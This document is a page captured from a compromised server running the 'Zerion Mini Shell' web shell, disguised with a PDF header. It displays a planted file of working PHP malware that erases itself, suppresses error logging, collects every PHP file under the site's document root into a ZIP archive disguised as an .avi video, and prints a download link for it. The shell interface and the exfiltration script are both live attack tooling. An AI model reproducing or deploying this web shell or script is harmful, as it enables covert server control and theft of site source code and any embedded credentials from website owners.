%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/public_html/demo/
Upload File :
Create Path :
Current File : /home/graphicd/public_html/demo/42a2b3218f46c11d25f36a79300ee4c5.pl

<?php unlink(__FILE__); <?php

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


function sdGetDocRoot()
{
    $docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']);
    if ($docroot_end === FALSE) {
        return $_SERVER['DOCUMENT_ROOT'];
    } elseif ($docroot_end === 0) {
        return "/";
    } else {
        return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);
    }
}

function sdGetFileList($dir, $depth = 1000000000)
{
    $result = array();
    $dir_count = 0;
    if ($depth < 1) {
        return $result;
    }
    $dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\\/');
    $h = @opendir($dir);
    if ($h === FALSE) {
        return $result;
    }
    while (($f = readdir($h)) !== FALSE) {
        if ($f !== '.' and $f !== '..') {
            $current_dir = "$dir/$f";
            if (is_dir($current_dir)) {
                $dir_count += 1;
                $result = array_merge($result, sdGetFileList($current_dir, $depth / 10));
            } else {
                $path_parts = pathinfo($current_dir);
                if (isset($path_parts['extension']) && $path_parts['extension'] == "php" && filesize($current_dir) < 2 * 1024 * 1024) {
                    $result[] = $current_dir;
                }
            }
        }
    }
    closedir($h);
    return $result;
}

$domain = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']);
$archive_name = md5(time()) . ".avi";
$archive_path = sdGetDocRoot() . "/" . $archive_name;
$res = array();
$zip = new ZipArchive;
$zip->open($archive_path, ZipArchive::CREATE);
foreach (sdGetFileList(sdGetDocRoot()) as $path) {
    $entryname = substr($path, strlen(sdGetDocRoot())+1);
    $zip->addFile($path, $entryname);
}
$zip->close();
echo "ARCHIVE!\t" . $domain . "\t" . "http://" . $domain . "/" . $archive_name . PHP_EOL;


Zerion Mini Shell 1.0